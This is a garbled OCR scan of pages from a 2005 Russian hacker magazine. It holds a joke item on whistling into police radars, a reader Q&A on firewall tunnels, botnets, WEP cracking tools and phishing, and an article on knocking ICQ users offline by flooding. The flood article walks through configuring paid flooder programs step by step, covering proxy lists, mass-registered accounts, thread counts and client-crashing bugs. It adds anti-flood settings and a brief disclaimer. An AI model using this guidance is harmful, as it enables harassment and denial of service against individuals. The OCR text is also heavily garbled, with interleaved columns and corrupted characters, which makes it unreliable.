ные в футуристических прогнозах, копирайтами не защищены, и 
они в полном твоем распоряжении :) ® 




[СКОРОСТЬ можно «НАСВИСТЕТЬ»] 

Есть в народе такая байка, которая теоретически мо- 
жет иметь под собой реальную почву. Гаишник берет 
радар стволом-антенной вверх, приставляет к подбо- 
родку и свистит в свисток или просто губами. При 
этом губы совершают механические микроколебания с 
частотой свиста. Отраженный от них сигнал радара 
промодулирован этой частотой. Выделяя ее из спект- 
ра, радар путает частоту свиста с доплеровской и вы- 
дает некую скорость. 

Популярный радар «Барьер-2М» работает в Х-диапа- 
зоне (длина волны 3 см) и измеряет скорости от 20 до 
199 км/ч, что соответствует доплеровским частотам от 
370 до 3700 Гц. Таким образом, если свистеть в радар 
с частотой 1500 Гц, то он покажет 81 км/ч, а всего, 
учитывая средние возможности свиста губами, можно 
насвистеть от 70 до почти 100 км/ч. Владение навыка- 
ми художественного свиста существенно расширяет 
этот диапазон. Если же свистеть в стандартный мили- 
цейский свисток, частота которого примерно 2700 Г ц, 
то скорость получится аж 146 км/ч. Инспектор ДПС, 
обладающий вокальными способностями и музыкаль- 
ным слухом, может также приложить радар к гортани 
и петь различные ноты, точно задавая нужную «ско- 
рость» автомобиля. 

Так что если ты увидишь на трассе гаишника с прис- 
тавленным к подбородку большим круглым пистоле- 
том, не думай, что он решил эффектно снести себе 
башку... Лучше просто приготовь деньги :). 

Кстати, надуривание техники с помощью свистков в 
начале 70-х в США породило на свет телефонных ха- 
керов — фрикеров. Знаменитая свистулька из хлопьев 
«Капитан Кранч» выдавала ровно 2600 Гц, которые 
нужно было просвистеть в телефонную трубку, чтобы 
сеть корпорации ВеІІ переключила тебя на межгород 
без всякой платы. Выходящий с 1984 года самый из- 
вестный хакерский журнал «2600» сейчас продается в 
больших и уважаемых книжных магазинах. 
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БУДЬ КОНКРЕТНЫМ И ЗАДАВАЙ КОНКРЕТ- собирать проги, успешно обходящие файрволы. Хотя лучше 
НЫЕ ВОПРОСЫ! старайся ОФОРМИТЬ почитай статьи в «Кодинге» :). 

СВОЮ ПРОБЛЕМУ МАКСИМАЛЬНО ДЕТАЛЬНО 

ПЕРЕД ПОСЫЛКОЙ В НАСК-РАО. ТОЛЬКО ТАК О : Есть ЛИ какие-то мирные способы использования файрвол-тоннеля? 
Я СМОГУ ДЕЙСТВИТЕЛЬНО ПОМОЧЬ ТЕБЕ ЛгОпиаты оказываются лучшими обезболивающими, а ядерное 
^ ОТВЕТОМ, УКАЗАТЬ НА ВОЗМОЖНЫЕ ОШИБ- оружие сдерживает массовую агрессию — даже самые жесто- 
Ш ^<И. ОСТЕРЕГАЙСЯ ОБЩИХ ВОПРОСОВ ВРО- кие изобретения человека находят мирное применение. Для 
Г / ДЕ «КАК ВЗЛОМАТЬ ИНТЕРНЕТ?» — ТЫ ЛИШЬ наблюдения феномена в ѴѴІп-систему нужно лишь загрузить 
; ПОТРАТИШЬ мой и свой почтовый ТРА- ѴМѴѴаге и запустить эмуляцию Линукса, где сеть будет сэмули- 
ФИК. ТРЯСТИ из МЕНЯ ФРИШКИ (ИНЕТ, ШЕЛ- рована в Ьгісідесі-моде. Врубаем птар или любой другой ска- 
ЛЫ, КАРТЫ) НЕ СТОИТ, Я САМ ЖИВУ НА ГУМА- нер, подходящий для снятия СіпдегргіпТов, При скане \л/іп-сетево- 
НИТАРНОИ ПОМОЩИ! го интерфейса файрвол заблокирует попытки запроса, но на сэ- 

мулированном интерфейсе мы получим искомые ответы (^іпдег- 
О: Правда, что появились новые трояны, ргіпТы). Так что из опыта видно: из-под ѴМѴѴаге можно получать полный дос- 

которые умеют пробивать файрволы? туп к локалке, обходя файрвол! И ты можешь использовать тачку с ѴѴМѴѴаге в 

Лг На самом деле этому уже давно на- качестве моста, соединяющего локалку с внешним миром, если админ сети 
учились. Любой толковый \л/іпсІо\л/з-прог- разрешил доступ лишьк отдельным ресурсам, 
раммист может реализовать обход 

файрвола — примеры ты мог увидеть в О: Как мне защитить сетку от устанавливаемых файрвол-тоннелей? 
нашем «Кодинге». Однако в последнее ЛгСтоит помнить, что функции ІІЬрсар доступны только под админским аккаун- 
время обходить сетевые экраны стало том. Так что для предотвращения провокаций в сети просто будь внимателен при 
значительно проще. Библиотека РСАР раздаче админских полномочий. Если же іао из поверенных задумает недоб- 
позволяет разработчикам получить пря- рое, это можно будет распознать при помощи ЗузТет МападетепТ Зегѵег'а от 
мой низкоуровневый доступ к сетевым М3. Это тулза, которая регулярно проверяет юзеров на установку софта и от- 
интерфейсам. За примерами далеко хо- дельных библиотечек вроде ІІЬсар. Внимательно просматривая репорты, ты смо- 
дить не нужно: известный снифер жешь быть уверенным, что юзеры крутят лишь дозволенное. Софтина РготдгуІЛ 

ЕФегеаІ использует как раз эту библио- сможет показать, если какой-то юзерский интерфейс крутится в рготізсиоиз-ре- 
теку. Этот сетевой анализатор вполне жиме (снифинга), который используется множеством файрвол-тоннелей. Не же- 
можно использовать для обхода файрво- лая показаться МЗ-фанатом, таіоке посоветую Маіісіоиз Зой\л/аге І?етоѵаІ ТооІ от 
ла, который, по идее, должен перекры- этого же бренда. Софтина позволит обнаружить зловредные программы и либы, 
вать все входящие ТСР/ЕІЭР-пакеты. К те- чреватые разбоем подконтрольных систем. Если тебя интересует более под- 
бе стучатся пакеты, файрвол их отбива- робная инфа, спрашивай Гугл на тему «\л/огтііоіе 1'иппеіз». 
ет, но снифер на уровень ниже их ловит и 

может с ними работать. Так что после О.- Правда, что в Сети оперируют сотни тысяч зомби-компьютеров? 
изучения иЬрсар'а, на базе которого Что такого убийственного они могут натворить? 

крутится ЕГГіегеаІ, можно без проблем Лг Зомби — захваченный/затрояненный комп, который используется для ря- 



да манипуляций в Сети. Среди них — распределенные атаки 
(□□оЗ), рассылка спама и расхищение важной информации 
(вроде твоих инет-аккаунтов и доступа к онлайн-банкингу). По 
данным на июль 2004-го, в Сети разбросано от 500 000 до 2 000 
000 подобных зазомбированных машин. Загребущие руки многих 
хакеров наживаются на продаже целых зомби-ботнетов или сда- 
че их в аренду. Прокат наиболее мощных из них может стоить $100 
в час. Среди последних тенденций — рассылка рітізітіпд-спама 
(разводки) — писем, которые запрашивают получателя о данных 
по его банковскому счету. Доступ к онлайн-счетам осуществляет- 
ся путем систематического анализа клавиатурных кейлогов, с 
особым вниманием к вбивам на ІтИрз-соединениях (стандарт 
большинства сетевых банкингов). 

О: Правда, что МісгозоН' открыла свой юзерский багтрак? 

Лг На самом деле ТесНМеІ софтварного гиганта уже много лет отк- 
рыто предоставляет информацию по своим косякам. Однако преж- 
няя инфа была крайне скупой и могла быть понята лишь продвину- 
тым юзерам и прохокенным админам. За человеческим разъясне- 
нием проблем нужно было лазать на зесигіІуГосиз.сопт. Сейчас же 
М3 запустила свои собственные обозрения багов (асіѵізогіез) и спо- 
собов их устранения на ѵш\л/.тісю501^,сот/іесІіпѳі/зесигііу/асІѵізо- 
гу/с1еіаШ.тзрх. Пока обозреваются лишь родные продукты ком- 
пании, но в будущем под суд ТесІтМеІ'а могут попасть и продукты 
сторонних производителей. В перспективе ожидается РЗЗ-кор- 
мушка для оперативного и комфортабельного отягивания обоз- 
рений безопасности. Обозрения багов обещают выдавать в те- 
чение дня после публичного выхода инфы о дыре. Пока все проб- 
лемы безопасности не будут оцениваться на предмет их потенци- 
ального ущерба; оценки будут выдаваться уже в более углублен- 
ном бюллетене безопасности. 

Правда, что в Рігеі^ох'е обнаружен первый баг? 

ІК: Да, обнаружен, причем далеко не первый. По юзерским моз- 
гам гуляет увесистая иллюзия, что все браузеры, отличные от М3 
ІЕ, дадут «двойную защиту для всей семьи»! Ме>кду тем проблемы 
новомодного обозревателя уходят в его корни — платформу 
МогіІІа. Там баги выявились еще в сентябре прошлого года. Сов- 
сем же древние косяки вышли из некогда легендарного Нетшка- 
фа (Ыеізсаре) — в 1999-м. Как водится, в данном случае машину 
юзера можно поставить на колени при помощи зловредного 
ТаѵаЗсгірІ'а. Он сможет запустить код на машине жертвы, прики- 
нувшись автоматическим апдейтом. Для подавления баги нужно 
поставить патч от МогіІІа РоипсІаТіоп. Для более глобальной защи- 
ты (на случай объявления схожих дыр) может помочь полное вык- 
лючение ЗаѵаЗсгірІ'а и установка запрета на автоапдейты. 

О: Могут ли мой автомобиль инфицировать ЫиѳТооІТі-вирусом? 

Лг После массового распространения вируса СаЬіг, натравля- 
емого против мобильных телефонов (в основном, смартфонов), 
стали циркулировать слухи, что целый автомобиль, поддерживаю- 
щий связь с мобилой по ВТ, можно покорить новомодной заразой. 
Множество попыток фирмы Р-Зесиге оказались тщетны, покорить 
ТоуоТа Ргіиз не получилось. Слухи об уязвимости машин сначала 
относились к более дорогому продукту — Еехиз. После проведе- 
ния теста стало понятно, что бортовая система авто напрочь отка- 
зывается отвечать на провокации СаЬіг' а; переслать зарах<енный 
313-файл так и не получилось. 

Зачем мне нужен хакерский минидиск? Где его можно сдуть? 

Л: Изобретенное тобой имя способно ввести читателя в заблужде- 
ние, ибо рассматриваемый вариант не имеет ничего общего с 
МіпіОізк (МО), Речь идет лишь об урезанной версии *піх, чаще Еіпих- 
дистрибутива, который легко умещается на один диск. Помимо са- 
мого дистро, на диск заливается ряд жизненно важных хакерских 
софтин. Все началось с дистриба Кпорріх, являющегося маленьким 
и простым Линуксом, который можно вписать в систему во мгнове- 
ние ока. Однако хакерюги пошли дальше и обвесили Кпорріх всем 
необходимым зесигііу-добром вроде Меіазріоіі, Нубга и Меззиз. Те- 
ма сдувается с тѵѵѵ.ѵѵ/торр/х.пеГ, Стоит отметить, что при всей прос- 
тоте ѴѴТюрріх не самый дружелюбный дистриб. Если тебе нужен не 
только хак-девайс, но и удобная рабочая лошадка для несложных 
арифметических задачек — качай АисІІТог (пѳт.гетоіе- 
ехрІоі1'.огд/іпсІех.рІір/АисІіі^ог_таіп'), который содержит все необхо- 
димые примочки для аудита сети. Понятно, что легкими движениями 
руки туда могут быть вписаны и все недостающие зесигііу-софтины. 



Ог Какие атаки против \Л/ЕР существуют? Чем можно его взломать? 

Л: \Л/ЕР (ѴѴІгесІ Ериіѵаіепі Ргіѵасу) — 802.11 криптографический 
протокол, который используется в ѴѴІ-ЕІ сетях. С 2001 года идут ха- 
керские разработки по теме; тогда одной из первых стол АігЗпогІ 
{аігзпогі.зіітоо.сот). Прога строилась на базе РМЗ-атаки. Софти- 
на была очень простой, но требовала огромного количества па- 
кетов для извлечения ѴѴЕР-ключа. Потом на сцене появился 
Кізтеі, чтобы быть замененным с1\л/ерсгаск-тулзой. Основной же 
прорыв свершился в прошлом году после распространения ин- 
фы о методе КогеК'а. По его идее была создана утилита Аігсгаск 
(илллѵ.сг0.пеГ;8040/сосУе/пеГѵѵогк/о/гсгоск). Помимо новой атаки, 
Аігсгаск умеет ломать ѴѴЕР и по предыдущей методе — ЕМЗ. Пос- 
ле установки необходимого софта хакер должен собрать как 
можно больше пакетов из зашифрованной по ѴѴЕР'у сети и сох- 
ранить добро в рсар-файл. Если ты хочешь заполучить целый бо- 
евой ѴѴІ-ЕІ комплекс, стоит обратить внимание на описанный вы- 
ше Аисіііог — Еіпих-дистрибутив, заточенный на сетевой анализ 
{пе\А/.гетоіе-ехрІоі^.огд/іпс!ех.рІір/Аисіііог_таіп). 

О: Сколько всего нужно сгрести ѴѴІ-РІ пакетов для взлома? 
Сколько времени займет дешифрация? 

Лг Для эффективного взлома 64-битного ключа нужно как мини- 
мум 200 000 пакетов, для победы над 128-битным — 500 000. Стоит 
помнить, что не все пакеты (как и не все йогурты :)) одинаково по- 
лезны! Для взлома тебе нужны лишь пакеты с IV, которые составля- 
ют приблизительно 95% всего трафика. По собственному опыту, 
взлом ключа занимает от одной секунды до двух часов. Ускоре- 
нию процесса помогает установка длины ключа в качестве пара- 
метра при запуске программы, 

Ог Можно ли расхачить ѴѴЕР-ключ брутфорсом/атакой 
по словарю? 

і\: ѴѴерАІІаск (.тѳраііаск.зоигсѳ^огде.пеі), как и его аналог 
ѴѴерЕаЬ, предоставляет подобную возможность. Аомать 128-бит- 
ный ключ брутфорсом — дело не очень перспективное. В случае 
атаки по словарю софтины предлагают два способа. Первый — 
М05-ХЭШИНГ, который используют множество точек доступа для 
перевода пароля в бинарный ѴѴЕР-ключ. Второй — обработка га\л/ 
АЗСІІ ѴѴЕР-ключей, заканчивающихся нулем. Вторая тема не уни- 
версальна, используется лишь некоторыми ассезз роіпі'ами. Ин- 
фа по железу взламываемой сетки может помочь выбору идеаль- 
ного хак-софта. Для составления наиболее качественных взлом- 
словарей на помощь придет старый добрый Зоітп ІІте Ріррег 
(ѵѵѵѵіѵ, орел ига//, сот/рііп) . 

ОгУже успели кого попалить на рИізітіпд'е? 

Лг РІпізІпіпд — виртуальная разводка, в частности — способ по- 
лучения инфы отвоем онлайновом банк-аккаунте. Недавно при- 
няли интернет-банду из Бразилии, которая, по первоначальной 
оценке, смогла отжать более $18М у лопоухих юзеров. Аохот- 
ронная команда состояла из 18 человек, которые рассылали 
троянских коней мылом. Спецы из Зорітоз'а обнаружили, что 
кони были специально написаны для охоты на банковские сче- 
та в Бразилии. Если ты опасаешься атаки горячих парней из-за 
океана, то прочтешь дополнительно о ВР-теме и способах за- 
щиты на ѵѵѵѵѵѵ.зорііоз. сот/зратіп^о/Ьезіргас^ісе/рІіізЫпд.Іііт!. 

Ог Зачем нужен ЕС5 и где его сдуть в Сети? 

Л: ЕС5, ранее более известная как ЕОрІпІСгаск, от легендар- 
ной зесигііу-команды @з1аке. Ознакомиться с продуктом можно 
на официальном сайте ѵѵтт.аМаке.сот/ргосІисіз/Іс. Софт ис- 
пользуется для аудита системы и восстановления забытых па- 
ролей. Понятно, что обе опции могут иметь и военную интерпре- 
тацию взлома. Прога умеет восстанавливать инфу как по ѴѴІп, 
так и ЕІпіх-аккаунтам. Проверка паролей на крепость может 
осуществляться по расписанию, ЕС5 умеет работать с множе- 
ством доменов одновременно, используя сразу несколько раз- 
ных словарей. Прога доступна в разных версиях, различающих- 
ся степенью загрузки — Ргоіеззіопаі, Асітіпізігаіог, Зііе и 
Сопзиііапі. Цены варьируются от $650 до $7500 за лицензию. 
Триал/ демоверсий не доступно вовсе, хотя на просторах инета 
можно найти оные по предыдущим версиям. Услужить готов и е- 
□опкеу, где можно сдуть крякнутую версию 5.04. Софт занятен и 
тем, что перед выходом в бизнес ЕОрІтІ были известны как отча- 
янные хакерюги. К каким только метаморфозам не приводят де- 
нежные знаки! ^ 
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Атака на ІСО 

в ПОСЛЕДНЕЕ ВРЕМЯ В ИНТЕРНЕТЕ УЧАСТИ- 
ЛИСЬ СЛУЧАИ ПРОВЕДЕНИЯ РЕООО-АТАК НА 
ІСО. НЕМУДРЕНО, ВЕДЬ КРУТОЙ ПРИВАТНЫЙ 
СОФТ ДЛЯ ЭТОГО В НЕДАВНЕМ ВРЕМЕНИ 
СТАЛ ОБЩЕДОСТУПЕН ЗА СОВСЕМ СМЕШ- 
НЫЕ ДЕНЬГИ. О ТОМ, КАК ЗЛОСТНЫЕ ХАКЕ- 
РЫ ВЫВОДЯТ ИЗ СТРОЯ НОМЕРА НЕПРИЯТЕ- 
ЛЕЙ, Я РАССКАЖУ В СВОЕЙ СТАТЬЕ. ПАЦИ- 
ФИСТАМ ЖЕ БУДЕТ ИНТЕРЕСНО, КАК ЗАЩИ- 
ЩАТЬСЯ ОТ ТАКИХ АТАК. ЧИТАЙ, РЯДОВОЙ, 

И НАБИРАЙСЯ ЗНАНИЙ I Аникин Артем ака доцент Бу- 
блик (Ь00Ыік@геаІ. хакер. ги) 



Убей противника 
и защитись сам 

[мы начинаем КВН!] Уверен, ты далеко не 
первый день знаком с понятием «І'ІоосІ». 
Флудят (кстати, правильно произносить 
«флАдят», но у нас уже давно устоялось не- 
верное произношение этого слова, так что 
изобретать велосипед и играть в умных 
дяденек-лингвистов мы не станем), как ты 
понимаешь, не только серверы левыми за- 
просами, или форумы ненужными сообще- 
ниями, или еще что-то там чем-то безобраз- 
но плохим. Флудят еще и оси. Причем в по- 
следнее время это стало просто напастью 
какой-то. Раньше, когда полные версии 
флудеров были приватными, владели ими 
лишь избранные. Но программы эти были 
настолько слабые и малофункциональные, 
что платить за полную версию мало кто хо- 
тел, а действие урезанных триалок могло 
лишь вызвать нервный смех у жертвы. Через 
некоторое время появился софт от МЛУ 
(ѴКЕ), очень мощный, сносивший любую за- 
щиту от флуда на то время. Однако стои- 
мость сего чуда была заоблачной — 1000 
зеленых президентов. Ситуация резко пе- 
ременилась совсем недавно, когда про- 



граммы-убийцы ась стали дешевыми, навороченными и появились 
на винте практически у каждого мало-мальски заинтересованно- 
го юзера. Теперь моя ася и оси многих моих знакомых стали ежед- 
невно подвергаться обильному флуду со стороны неприятелей. Да 
что греха таить; я и сам периодически сношу в оффлайн на долгое 
время некоторых заколебавших меня личностей. Просто иногда иг- 
нор ничему не учит людей, к сожалению. Вот и приходится прибе- 
гать к грубой физической силе. Ладно, суть не в этом. Сегодня мы 
научимся атаковать и самообороняться без оружия. 

[ну и нафиг это все?] ІСС давно уже стала полноценным инстру- 
ментом делового общения, не хуже мобильного телефона. Пред- 
ставь на секунду, какой геморрой возникнет, если твоя ася пере- 
станет выходить в онлайн от обильного количества получаемых со- 
общений и номер придется попросту менять. Ситуация усложнит- 
ся, если такая неприятность произойдет во время или накануне 
серьезного делового разговора, выяснения личных проблем или 
еще чего-то безумно важного. Стоит ли говорить, что в Сети полно 
людей, для которых даже временная потеря иіп'а может обернуть- 
ся серьезными проблемами и принести дивиденды третьему лицу. 
В общем, флуд ІСС давно уже стал настоящим бизнесом. В свое 
время, когда софт для флуда был дико дорогим, люди покупали 
его и продавали свои услуги. Теперь же это удовольствие доступ- 
но всем, и можно атаковать неприятеля самому, не выкладывая за 
каткдый заказ бабки левому Васе в пижаме. Усек? 
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На нашем диске ты най- 
дешь некоторые програм- 
мы, описанные в статье. В 
силу многих причин мы не 
смогли выложить все :(. 

Для мощного флуда нуж- 
но одновременно исполь- 
зовать не меньше 200 но- 
меров. 

Бывалые флудеры прику- 
пают себе для темных де- 
лишек выделенные виндо- 
вые серверы, что позволя- 
ет непрерывно флудить 
сотни иіп'ов. 

Нужно понимать, что флуд 
ІСО — вещь незаконная. 
Так что ничем таким, прия- 
тель, даже и не думай за- 
ниматься! А не то мигом в 
кутузку. 



[оружие от ѴКЕ] Я уже упоминал флудер 
от МЛУ, теперь хотелось бы его подроб- 
нее разобрать. В свое время эта софтина 
стоила $1к — за такие бабки можно 
прикупить подержанную «шестерку», а не 
вкладывать их во что-то виртуальное. Од- 
нако ѴКЕ через некоторое время понял, 
что рынок — это такая система, в которой 
действует правило: чем ниже цена — тем 
больше спрос. Вернее, цена должна удо- 
влетворять не только запросам продавца, 
но и возможностям покупателей, которые 
не станут брать буханку хлеба за пятьсот 
рублей. Поэтому стоимость 1РОР1оос12 
упала сразу до тридцати долларов. Но и 
от нелегального распространения МЛУ- 
ша защитил свою программу должным 
образом: софтина привязывается к желе- 
зу покупателя, и чтобы ее запустить на 
другом компе, потребуется отдельный 
сгенеренный код, который выдает сам 
МЛУ после того, как ты при покупке ска- 
жешь ему необходимые данные. Всю ин- 
формацию по приобретению флудера 
можно найти но личной страничке ѴКЕ 
(ѵке.ги). После того как ты переведешь за- 
ветную тридцатку разработчику, он, пов- 
торюсь, выдаст тебе код, который ты вста- 
вишь в файл тасгозез.хті, находящийся в 
попке программы. Также тебе надо будет 
скачать дополнительные библиотеки 
тзѵсг71.сІІІ и ѴКЕПЬгагу.сІІІ и поместить их 
туда же. Без этих либ программа рабо- 
тать откажется. Взять их можно также с 
сайта разработчика. Хотя зачем я тебе 
все это рассказываю? Ведь МЛУ и сам 
все объяснит подробно, если у тебя по- 
явятся какие-то проблемы. Теперь можно 
запускать программу. 




Что видим? Одно маленькое окошко, в котором находится ВСЕ. Все настройки на одной 
закладке — сильно? Ага, а если еще учесть, что больше ничего и не потребуется, кроме 
как установить пару галочек, чтобы снести неприятеля в оффлайн, то впечатление от про- 
граммы становится еще сильнее. 

Но не спеши, тебе потребуется еще самое важное: прокси-лист и список номеров, с 
которых будет осуществляться флуд. В комплекте с программой МЛУ предоставляет 
список прокси, содержащий около тысячи записей. Однако все проксики публичные 
и настолько заюзанные, что они вряд ли тебе чем-то помогут. Где достать список нор- 
мальных прокси-серверов (а они должны быть быстрыми), я тебе объяснять не стану 
— и так обмусоленная и обсосанная тема. Сам разберешься. Скажу лишь, что все 
прокси нужно закинуть в файл ргохіез.ГхГ, находящийся в папке программы. И чем 
больше живых записей в этом файле будет — тем круче попрет флуд. 

Так, слышь, руки прочь от флудера! Ты же еще не зарегал номера, с которых будешь флу- 
дить! А как это сделать? Ну, можно ручками, конечно, но далеко ты таким образом не уе- 
дешь, Качай АІЛ?. Это спецсофт, предназначенный как раз для того, чтобы ты попивал пив- 
ко, в то время как он за тебя выполняет рутинную работу. Списывать, как юзать АУР, я не ста- 
ну — здесь все предельно ясно. Если что-то тебе непонятно, открывай статью «Сетевые ба- 
ламуты» за февраль 2004 года и ищи — там я уже все подробно расписал. После того как 
уины будут зареганы, суй их в файл иіпз.М в папку с флудером и вот теперь можешь присту- 
пать к делу. Кстати, чем больше у тебя номеров и быстрых проксей, тем круче будет флуд. 
ТНгеасІз соипГ: количество потоков. Чем больше их укажешь, тем большее число номеров 
будет выведено одновременно в онлайн и тем страшнее будет кара, обрушившаяся на 
твоего неприятеля. Сднако с возрастанием потоков ты теряешь в скорости работы ком- 
па. Так что выбирай разумное число, если не хочешь, чтобы твой компьютер издавал 
странные звуки и мерзкие запахи. 

Снизу есть еще узкое окошечко с полосой прокрутки. В него надо построчно вносить номе- 
ра, которые ты хочешь профлудить. Причем для того, чтобы внести новый номер, необяза- 
тельно останавливать процесс работы флудера. Достаточно дописать его в новой строчке, 
как к нему тоже начнут сыпаться мессаги. Счень удобная фишка. В старых версиях такое не 
поддерживалось, и приходилось останавливать работу, чтобы внести новый номер. 

Чуть правее этого окошка есть еще одно. В нем по умолчанию всего одна строка: 
«%1?АМЭ_ЫиМ_1%ю%1?АМЭ_ЫиМ_2%ю%ГгАМЭ_ТЕХТ1%ю%1?АЫО_ТЕХТ2%ю7о1?АМО_ТЕХТЗ% 
ю7о1?АЫЭ_ТЕХТ47о». Можно оставить все как есть, тогда жертвам будет приходить длин- 
ный рандомный текст в сообщениях, что исключит попадание его под фильтрацию ан- 
тиспамовым фильтром. Но если же ты собираешься донести до врага какую-то глубо- 
кую мысль своим флудом, то вписывай туда все что угодно, например: «Слышь, козел, 
отстань от моей подруги!!!». 

Справа же находятся 16 галочек, устанавливая которые, ты выбираешь, каким типом 
сообщений будет хреначить 1РОГ!оос12, Можно, например, бомбить простыми сообще- 
ниями, можно авторизациями, урлами, сообщениями о добавлении в свой контакт-лист 
и т.д. Хочу отметить важную особенность софтины: если у неприятеля стоит стандарт- 
ный клиент !СО, то урлы он не примет до того момента, пока номер, с которого они при- 
ходят, не будет у него в контакт-листе. Так вот, эта фишка обходится через баг протоко- 
ла оси. И флудер МЛУ использует этот баг, чтобы урлы наверняка доходили до получа- 
теля. Также в старых релизах крысы (&!?С) была проблема с некоторого вида сообще- 
ниями, от которых она умирала, выдавая акцесс виолейшн. Поэтому если ты точно зна- 
ешь, что твой неприятель сидит именно на таком клиенте, то и этот баг пустится в ход — 
надо только соответствующую галочку установить. 

Вот, собственно, и все. Выстави все настройки программы под свои нужды и жми Зіагі. 

[альтернатива от іп^!п!1у_д1'!т] Не менее популярен на сегодняшний день и продукт от чу- 
вака с ником іпСіпі1у_д1'Іп. Кстати, именно после выхода его продукта ценой 30 баксов за 
копию МЛѴша и снизил стоимость своего флудера, ибо конкуренция. Ладно, давай по- 
смотрим, что умеет эта софтинка. Сперва кликай по ОрІІогізи настраивай все так, как те- 
бе нужно. Я лишь немного помогу тебе в этом. 

Ргоху Е!з1 Е!!е: загружай файл с проксями, нажав на кнопку Вго\л/зе. Инфовский флудер 
(Агрессор) не так прихотлив к скорости проксей, так что проблем будет гораздо мень- 
ше, нежели с !РЭ(!оос!'ом. 

Ргоху Туре: здесь указывай тип самих проксей, которые используешь. Если поставишь га- 
лочку АиТоЭитр, то все отчеканные дооР'овые прокси будут сохраняться в отдельный 
файл в папке с программой. ТТігеасІз: все ясно, думаю. Как и в предыдущей программе, 
здесь необходимо выставить число потоков. 

Теперь об уинах. Если у тебя уже есть зареганные номера (кстати, они могут быть не только 
!СО'шными, но и А!М'овскими, потому что Агрессор флудит еще и А!М), то укажи путь к фай- 
лу с ними, кликнув по Вго\л/зе в меню РедізТегесІ ЕІІЫз ог АІМз, 

Все хорошо, а теперь начинается то, чего нет в 1РОТ!оос12. Агрессор сам 
может регать номера в процессе работы, что способствует стабильному 
флуду на протяжении всего времени. Ведь при флуде рабочие номера бы- 
стро сдыхают, отрубаются серваком, кидаются в анрег и т.д. Агрессор же 
восполняет такие потери, постоянно регистрируя новые номера. Доста- 
точно просто не поставить галку Эо Моі !?ед!з1'ег Ме\л/ ІЛМз, и все будет в шо- 
коладе :). Пароли на такие номера генерятся автоматически по заданному 
тобой шаблону, либо же на них на всех ставится тот пасс, который ты ука- 
жешь в поле Му 0\л/п, Красивые зареганные номера вида х, ху, хуг, 
хугОООООО сохраняются сразу в отдельный файл и не используются сам зна- 
ешь почему :). В общем, очень удобная фишка, согласись. 



[!Са-кіІ!ег Ьу ѴКЕ] 



[хакер 06 [78] 05 > ВЗЛОМ 045 ] 




[хакер 06 [78] 05 > ВЗЛОМ 046 ] 






[окно настроек Агрессора] 

Теперь дело за малым — выставить галочки, 
выбрав тем самым тип флуда. Фигачить 
можно мессагами, запросами на автори- 
зацию, урлами и т.д. Все как обычно. Так- 
же, зная, какой клиент у жертвы, можно вы- 
ставить галочку для специфического флуда 
именно той версии ІСО. И здесь все как 
обычно, объяснять ничего не стану, ибо 
описал все подробно чуть выше. 



ЗТіуг'а (апсІгд.огдУ Не знаю, понравился мне его подход к доработке крыся- 
тины. В общем, давай перейдем к настройкам антифлуда софтины. 

Ползи в настройки. Меню «Антиспам». Если убрать галочку «Сообщать мне об от- 
фильтрованных сообщениях», то ты даже и не узнаешь, что тебя флудят. Однако 
если ее установить, в случае флуда тебя достанут сообщения о фильтрации, что 
тоже будет отчасти флудом :). Поэтому рекомендую эту галку не ставить. «Игно- 
рировать сообщения от людей, которых нет в контакт-листе». Поставив эту галоч- 
ку, ты будешь получать мессаги лишь от тех, кого сам добавил. От других — нет. 
«Игнорировать сообщения пейд>кера». Ставь галку — и никогда не получишь со- 
общений с \л/еЬ-радег. Полезно. «Игнорировать запросы аторизации людей не 
из контакт-листа». В совокупности с игнорированием сообщений это дает прак- 
тически полную защиту от флуда. В принципе, этого уже достаточно, чтобы 
обеспечить себе спокойную жизнь. Однако существует возможность и более 
тонко настроить антифлуд-защиту. Это меню правил, которые должны выпол- 
няться одновременно, чтобы сообщение, попавшее под все установленные 
правила, было отфильтровано. Здесь можно выбирать совокупности из следую- 
щих параметров: сообщение послано многим, отправитель не в контакт-листе, 
архив сообщений пуст, сообщения содержат слова из заданного списка. Ду- 
маю, здесь не надо ничего объяснять. Все аналогично первым четырем пунктам. 
Ну и последний пункт защиты: «ЕІІМ больше, чем». Здесь необходимо указать 
верхний предел номера, уины больше которого будут попросту в полном игноре. Еще од- 
на удобная фишка, учитывая то, что флудят обычно с девятизнаков. 

Вот и все. Нет ничего сложного. Однако полной защиты никогда не будет. При обильном 
флуде сервак сам будет тебя периодически выкидывать в оффлайн, и тебе придется ре- 
коннектиться. Однако, согласись, уж лучше просто будет отсоединять, чем еще плюсом 
ко всему у тебя загадится контакт-лист. 

Я же вообще сделал проще: засунул всех в игнор, а в эбауте написал, что если кто-то хо- 
чет со мной поговорить, пусть пишет мне на мыло, указав свой номер оси и повод для 
разговора, а я уж сам добавлю его, если он меня заинтересует. 



[я вас не слышу!] Не знаю, как тебя, а ме- 
ня не особо прет, когда меня флудят. Поэ- 
тому пришлось заморочиться с защитой от 
безобразников. В качестве клиента я дав- 
но использую &РО, и слезать с него мне 
не особо хочется. Советую, кстати, и тебе 
его юзать. Однако до недавнего времени 
он был слишком неустойчив к флуду. За- 
щита нулевая. Меня флудили, и мой кон- 
такт-лист был загажен запросами и сооб- 
щениями. Ситуация изменилась после то- 
го, как Реджетто забросил поддержку 
своего проекта и выложил в свободное 
пользование исходники крысы. Теперь ее 
разрабатывают как минимум две незави- 
симые команды. Я пользуюсь версиями от 



[нѳ только Реджѳтто] Еще один флудоустойчивый клиент 
ІСС — недавно вышедший ОІР (р/р.ги), который написал 
все тот же іпТіпіТу_дТТі, Настройки квипа аналогичны крыс- 
иным, так что повторяться я не стану. Смысл тот же: выста- 
влять разные правила, в зависимости от того, как и от чего 
ты желаешь защититься. Просто сам подумай: если клиент 
написан автором флудера, то уж, наверное, в него вклю- 
чена наиболее сильная защита, так как со всеми нюанса- 
ми Инфинити знаком и сделал все по первому разряду :), 

[напоследок, Катерина Матвеевна] Если ты вздумаешь 
кого-то флудить, то полезно будет сразу раздумать: 
дело это, вообще говоря, незаконное, кроме того, 
аморальное. Ну а если беда пришла в твой дом и на 
тебя накинулись злобные флудеры, то стоит призаду- 
маться над надежной защитой. Установка качествен- 
ного клиента — &РО или СІР — поможет тебе © 




[ѵѵѵѵѵѵ.апсігд.сот — здесь можно 
скачать последние билды &НО] 






РОХСОПП 

Асіѵапсіпд ТИгоидИ Іппоѵаііоп 



Наследие тысячелетий 

в технологиях будущего. 





Чипсет пѴЮІА МР4 Шіга; 

5оске1: 939 для АМО АіЫоп™ 64/64ГХ СРУ; 

Р5В 2000 МТ/5, НурегТгап5рогІ;™; 

до 4СВ Оиаі сМаппеІ ООК400/ООРЗЗЗ/ООР266; 

